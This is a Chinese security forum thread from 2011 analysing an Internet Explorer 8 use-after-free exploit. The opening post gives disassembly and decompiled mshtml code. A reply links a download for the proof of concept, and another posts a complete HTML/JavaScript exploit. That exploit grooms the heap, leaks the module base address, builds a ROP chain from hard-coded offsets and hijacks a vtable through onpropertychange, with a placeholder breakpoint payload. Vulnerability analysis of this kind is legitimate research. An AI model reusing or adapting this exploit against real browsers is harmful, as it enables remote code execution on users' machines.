首页
社区
课程
招聘
[原创]IE8 sc.txt exploit 分析学习
发表于: 2011-11-17 10:14 27813

[原创]IE8 sc.txt exploit 分析学习

oke 活跃值
1
2011-11-17 10:14
27813
.text:74DC4275 ; public: long __thiscall CBase::SetCodeProperty(long, struct IDispatch *, int *)
.text:74DC4275 ?SetCodeProperty@CBase@@QAEJJPAUIDispatch@@PAH@Z proc near
.text:74DC4275                                         ; CODE XREF: BASICPROPPARAMS::SetCodeProperty(tagVARIANT *,CBase *,CVoid *)+2Ep
.text:74DC4275                                         ; CScriptElement::CommitFunctionPointersCode(CBase *,int)+1F7065p ...
.text:74DC4275
.text:74DC4275 var_4           = dword ptr -4
.text:74DC4275 arg_0           = dword ptr  8
.text:74DC4275 arg_4           = dword ptr  0Ch
.text:74DC4275 arg_8           = dword ptr  10h
.text:74DC4275
.text:74DC4275 ; FUNCTION CHUNK AT .text:74EA8AA0 SIZE 00000007 BYTES
.text:74DC4275
.text:74DC4275                 mov     edi, edi
.text:74DC4277                 push    ebp
.text:74DC4278                 mov     ebp, esp
.text:74DC427A                 push    ecx
.text:74DC427B                 and     [ebp+var_4], 0
.text:74DC427F                 push    edi
.text:74DC4280                 push    0
.text:74DC4282                 push    [ebp+arg_0]
.text:74DC4285                 push    esi
.text:74DC4286                 call    ?DidFindAAIndexAndDelete@CBase@@QAEHJW4AATYPE@CAttrValue@@@Z ; CBase::DidFindAAIndexAndDelete(long,CAttrValue::AATYPE)
//调用函数删除原来的属性
.text:74DC428B                 push    3
.text:74DC428D                 push    [ebp+arg_0]
.text:74DC4290                 mov     edi, eax
.text:74DC4292                 push    esi
.text:74DC4293                 call    ?DidFindAAIndexAndDelete@CBase@@QAEHJW4AATYPE@CAttrValue@@@Z ; CBase::DidFindAAIndexAndDelete(long,CAttrValue::AATYPE)
.text:74DC4298                 mov     ecx, [ebp+arg_4]
.text:74DC429B                 or      edi, eax
.text:74DC429D                 test    ecx, ecx
.text:74DC429F                 jz      short loc_74DC42B0
.text:74DC42A1                 push    20h
.text:74DC42A3                 push    [ebp+arg_0]
.text:74DC42A6                 mov     eax, esi
.text:74DC42A8                 call    ?AddDispatchObject@CBase@@QAEJJPAUIDispatch@@W4AATYPE@CAttrValue@@W4AAExtraBits@4@@Z ; CBase::AddDispatchObject(long,IDispatch *,CAttrValue::AATYPE,CAttrValue::AAExtraBits)
.text:74DC42AD                 mov     [ebp+var_4], eax
.text:74DC42B0
.text:74DC42B0 loc_74DC42B0:                           ; CODE XREF: CBase::SetCodeProperty(long,IDispatch *,int *)+2Aj
.text:74DC42B0                 mov     eax, [esi]
.text:74DC42B2                 push    0
.text:74DC42B4                 push    0
.text:74DC42B6                 push    800117B6h
.text:74DC42BB                 mov     ecx, esi
.text:74DC42BD                 call    dword ptr [eax+98h]
.text:74DC42C3                 mov     eax, [ebp+arg_8]
.text:74DC42C6                 test    eax, eax
.text:74DC42C8                 jnz     loc_74EA8AA0
.text:74DC42CE
.text:74DC42CE loc_74DC42CE:                           ; CODE XREF: CBase::SetCodeProperty(long,IDispatch *,int *)+E482Dj
.text:74DC42CE                 mov     eax, [ebp+var_4]
.text:74DC42D1                 pop     edi
.text:74DC42D2                 leave
.text:74DC42D3                 retn    0Ch
.text:74DC42D3 ?SetCodeProperty@CBase@@QAEJJPAUIDispatch@@PAH@Z endp
.text:74E3F034 ; protected: void __thiscall CAttrArray::Destroy(int)
.text:74E3F034 ?Destroy@CAttrArray@@IAEXH@Z proc near  ; CODE XREF: CAttrArray::Set(long,PROPERTYDESC const *,tagVARIANT const *,CAttrValue::AATYPE,ushort,int)+D506p
.text:74E3F034                                         ; CBase::DeleteAt(ulong)+10p ...
.text:74E3F034
.text:74E3F034 ; FUNCTION CHUNK AT .text:74E784C3 SIZE 0000001E BYTES
.text:74E3F034 ; FUNCTION CHUNK AT .text:74E8909D SIZE 0000000C BYTES
.text:74E3F034
.text:74E3F034                 mov     edi, edi
.text:74E3F036                 push    edi
.text:74E3F037                 mov     edi, eax
.text:74E3F039                 mov     eax, [esi+10h]
.text:74E3F03C                 mov     ecx, eax
.text:74E3F03E                 shr     ecx, 1
.text:74E3F040                 test    cl, 1
.text:74E3F043                 jnz     loc_74E8909D
.text:74E3F049
.text:74E3F049 loc_74E3F049:                           ; CODE XREF: CAttrArray::Destroy(int)+4A06Aj
.text:74E3F049                 mov     ecx, edi
.text:74E3F04B                 shl     ecx, 4
.text:74E3F04E                 add     ecx, [esi+0Ch]
.text:74E3F051                 cmp     byte ptr [ecx], 3
.text:74E3F054                 jnz     loc_74E784C3
.text:74E3F05A
.text:74E3F05A loc_74E3F05A:                           ; CODE XREF: CAttrArray::Destroy(int)+394A8j
.text:74E3F05A                 call    ?Free@CAttrValue@@QAEXXZ ; CAttrValue::Free(void)
.text:74E3F05F                 mov     eax, [esi+10h]
.text:74E3F062                 shr     eax, 1
.text:74E3F064                 test    al, 1
.text:74E3F066                 jnz     loc_74E890A3
.text:74E3F06C
.text:74E3F06C loc_74E3F06C:                           ; CODE XREF: CAttrArray::Destroy(int)+4A070j
.text:74E3F06C                 push    10h
.text:74E3F06E                 pop     eax
.text:74E3F06F                 mov     edx, esi
.text:74E3F071                 call    ?Delete@CImplAry@@IAEXIH@Z ; CImplAry::Delete(uint,int)
//调用函数从属性数组中删除该索引对应的属性
.text:74E3F076                 pop     edi
.text:74E3F077                 retn
.text:74E3F077 ?Destroy@CAttrArray@@IAEXH@Z endp
int __stdcall PlainRelease(LONG a1)
{
LONG v1; // eax@7
LONG v2; // eax@8
bool v3; // zf@1
int result; // eax@1

v3 = (*(_DWORD *)(a1 + 4))-- == 1;
result = *(_DWORD *)(a1 + 4);
if ( v3 )
{
if ( *(_DWORD *)(a1 + 12) && !(*(_BYTE *)(a1 + 28) & 4) )
(*(void (__stdcall **)(_DWORD))(*(_DWORD *)(a1 + 16) + 8))(*(_DWORD *)(a1 + 12));
if ( *(_DWORD *)(a1 + 20) )
(*(void (__stdcall **)(_DWORD))(*(_DWORD *)(a1 + 24) + 8))(*(_DWORD *)(a1 + 20));
v1 = InterlockedExchange(&dword_7515B03C, a1);
if ( v1 )
{
v2 = InterlockedExchange(&dword_7515B040, v1);
if ( v2 )
HeapFree(g_hProcessHeap, 0, (LPVOID)v2);
}
result = 0;
}
return result;
}
struct TEAROFF_THUNK
{
void *      papfnVtblThis;     // Thunk's vtable
ULONG       ulRef;             // Reference count for this thunk.
IID const * const * apIID;     // Short circuit QI using these IIDs.
void *      pvObject1;         // Delegate other methods to this object using...
const void * apfnVtblObject1;  // ...this array of pointers to member functions.
void *      pvObject2;         // Delegate methods to this object using...
void *      apfnVtblObject2;   // ...this array of pointers to member functions...
DWORD       dwMask;            // ...the index of the method is set in the mask.
DWORD       n;                 // index of method into vtbl
void *      apVtblPropDesc;    // array of propdescs in Vtbl order
}
.text:74C68B19 ; public: virtual __thiscall CAttrCollectionator::~CAttrCollectionator(void)
.text:74C68B19 ??1CAttrCollectionator@@UAE@XZ proc near
.text:74C68B19                                         ; CODE XREF: CAttrCollectionator::`vector deleting destructor'(uint)+8p
.text:74C68B19                 mov     edi, edi
.text:74C68B1B                 push    esi
.text:74C68B1C                 push    3
.text:74C68B1E                 mov     esi, ecx
.text:74C68B20                 push    8001145Ah
.text:74C68B25                 push    dword ptr [esi+14h]
.text:74C68B28                 mov     dword ptr [esi], offset ??_7CAttrCollectionator@@6B@ ; const CAttrCollectionator::`vftable'
.text:74C68B2E                 call    ?DidFindAAIndexAndDelete@CBase@@QAEHJW4AATYPE@CAttrValue@@@Z ; CBase::DidFindAAIndexAndDelete(long,CAttrValue::AATYPE)
.text:74C68B33                 mov     eax, [esi+14h]
.text:74C68B36                 mov     ecx, [eax]
.text:74C68B38                 push    eax
.text:74C68B39                 call    dword ptr [ecx+0E0h]
.text:74C68B3F                 lea     eax, [esi+1Ch]
.text:74C68B42                 call    ??1CImplAry@@QAE@XZ ; CImplAry::~CImplAry(void)
.text:74C68B47                 mov     ecx, esi
.text:74C68B49                 pop     esi
.text:74C68B4A                 jmp     ??1CBase@@UAE@XZ ; CBase::~CBase(void)
.text:74C68B4A ??1CAttrCollectionator@@UAE@XZ endp

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 6
支持
分享
最新回复 (10)
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
2
嘿嘿 顶顶
2011-11-17 11:07
0
雪    币: 293
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
3
POC下载不到了,lz可否本地共享一份,谢谢。
2011-11-17 11:37
0
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
4
http://download.csdn.net/detail/instruder/3715342  如上地址
2011-11-17 13:41
0
雪    币: 1585
活跃值: (182)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
嘿嘿 顶顶
2011-11-18 22:52
0
雪    币: 310
活跃值: (159)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
6
LZ和回复的,是一伙的
2011-11-21 17:13
0
雪    币: 589
活跃值: (119)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
7
<html> <head> <script>
var largeBuffer = unescape('%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC%uCCCC');

function funhellokey(dword) {
    var d = Number(dword).toString(16);
    while (d.length < 8) d = '0' + d;
    return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
};

function funloadon() {
    alert(1);//方便调试器附加才加上的
    var tag = 0x12345678;
    var vtable1 = funhellokey(tag) + '11111110000000000';
    var tarrybuf = new Array();
    for (i = 0; i < 4096; i++) tarrybuf[i] = '' + vtable1;
    var divs = new Array();
    for (var i = 0; i < 137; i++) divs.push(document.createElement('div'));
    var expvalueclass = document.createElement('div');
    var expvaluedtkvee = document.createElement('div');
    document.body.appendChild(expvalueclass);
    document.body.appendChild(expvaluedtkvee);
    expvalueclass.onpropertychange = expvalueclass.attributes;
    expvaluedtkvee.onpropertychange = expvaluedtkvee.attributes;
    for (var i = 0; i < 27; i++) expvalueclass.style.position = '';
    expvalueclass.onpropertychange = null;
    expvalueclass.onpropertychange;
    divs[0].title = vtable1;
    divs[1].title = vtable1;
    divs[2].title = vtable1;
    divs[3].title = vtable1;
    expvalueclass.style.color = 'red';
    var tempkktvalue = 0;
    for (var i = 0; i < 4; i++) {
        var adtakever = divs[i].title.substr(0, 2);
        adtakever = escape(adtakever).replace(/%u(\w\w\w\w)%u(\w\w\w\w)/, "0x$2$1");
        adtakever = parseInt(adtakever);
        if (isNaN(adtakever)) continue;
        if (adtakever != tag) {
            tempkktvalue = ((adtakever & 0xFFFF0000) - 0x530000);
            break;
        };
    };
    if (tempkktvalue == 0) {
        location.reload();
        return false;
    };
    var temppvalue11 = 0;
    var ttt = funhellokey(tempkktvalue + 0x00069f57);
    var temppvalue13 = 0;
    var temppvalue14 = 0;
    var gethookver = 0;
    var and_eax_ecx_ret = 0;
    var temppvalue16 = 0;
    var valuettgot09 = 0;
    var valuettgot10 = 0;
    var valuettgot11 = 0;
    var valuettgot12 = 0;
    var valuettgot13 = 0;
    var valuettgotex = 0x001e2cde;
    var valuettgotexd = 17;
    var alertvaluewar = 0x000ce96e;
    alertvaluewatchIn = 18;
    temppvalue11 = funhellokey(tempkktvalue + 0x00539000);
    temppvalue13 = funhellokey(tempkktvalue + 0x0018a7c7);
    temppvalue14 = funhellokey(tempkktvalue + 0x00070b89);
    gethookver = funhellokey(tempkktvalue + 0x00002ffe);
    temppvalue15 = funhellokey(tempkktvalue + 0x0046ae66);
    temppvalue16 = funhellokey(tempkktvalue + 0x00352845);
    valuettgot09 = funhellokey(tempkktvalue + 0x0025d780);
    valuettgot10 = funhellokey(tempkktvalue + 0x00001318);
    valuettgot11 = funhellokey(tempkktvalue + 0x0018e7f8);
    valuettgot12 = funhellokey(tempkktvalue + 0x004bdd33);
    valuettgot13 = funhellokey(tempkktvalue + 0x0051e7db);
    var ttemphkv = ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt + ttt;
    var rop_stager = parseInt('11' + funhellokey(tempkktvalue + 0x00069f57) + 'CCCC' + funhellokey(tempkktvalue + 0x00069f57) + ttemphkv + temppvalue14 + gethookver + funhellokey(0xFFFFF000) + temppvalue15 + '66' + temppvalue16 + '9999' + valuettgot09 + valuettgot10 + valuettgot11 + funhellokey(0x00003000) + funhellokey(0x00000040) + temppvalue11 + temppvalue13 + temppvalue14 + '0000' + gethookver + funhellokey(32) + valuettgot12 + '11' + valuettgot13 + largeBuffer + unescape("%u0000"));
    var zom = funhellokey(tempkktvalue + valuettgotex);
    var table_pointer = document.createElement('option').index;
    var alertvalue = table_pointer + (16 * valuettgotexd) + 8;
    var alertvaluewatch = table_pointer + (16 * alertvaluewatchIn) + 8;
    var vtable2 = funhellokey(alertvalue - 4) + '11' + funhellokey(alertvaluewatch - 8) + funhellokey(tempkktvalue + alertvaluewar) + '2222' + funhellokey(tempkktvalue + valuettgotex) + '33' + temppvalue13 + '4';
    expvaluedtkvee.style.position = '';
    expvaluedtkvee.onpropertychange = null;
    expvaluedtkvee.onpropertychange;
    divs[4].title = vtable2;
    divs[5].title = vtable2;
    divs[6].title = vtable2;
    divs[7].title = vtable2;
    expvaluedtkvee.onpropertychange;
};

function Funalertshow(dword) {
    if (dword < 0) dword = 0xFFFFFFFF + dword + 1;
    var p = dword.toString(16).toUpperCase();
    while (p.length < 8) p = '0' + p;
    return "0x" + p;
} </script>	</head> <body onload = 'funloadon()'> </body>
</html>
2011-11-21 22:32
0
雪    币: 227
活跃值: (120)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
8
好详细。。NB。顶起
2011-11-22 10:49
0
雪    币: 237
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
噢竟然有人出分析文章了~~~~
2011-11-28 15:13
0
雪    币: 500
活跃值: (30)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
好多牛人
2011-12-1 14:31
0
雪    币: 102
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
牛B。。漏洞分析文章,都顶下。、
2011-12-2 16:05
0
游客
登录 | 注册 方可回帖
返回
//